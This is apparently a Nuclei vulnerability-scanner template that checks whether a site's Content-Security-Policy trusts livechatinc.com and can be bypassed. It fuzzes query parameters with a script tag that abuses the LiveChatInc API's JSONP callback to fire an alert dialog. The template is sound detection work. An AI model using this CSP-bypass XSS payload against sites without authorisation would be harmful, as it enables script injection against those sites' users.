id: livechatinc-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - LiveChatInc API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,livechatinc-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "livechatinc.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: livechatinc_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.livechatinc.com/v3.6/customer/action/get_dynamic_configuration?license_id=x&url=x&channel_type=code&jsonp=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "livechatinc_api_csp_xss == true"
# digest: 4a0a00473045022100db7f00ebec38f874cc28cf5a879a3a6c0e49e0469b082c32e2c36943859d3127022025cd3d3bd13839cdf083f200edc04d3ef8a2cb2a7663259873cdbab4c5a5ec1a:922c64590222798bb761d5b6d8e72950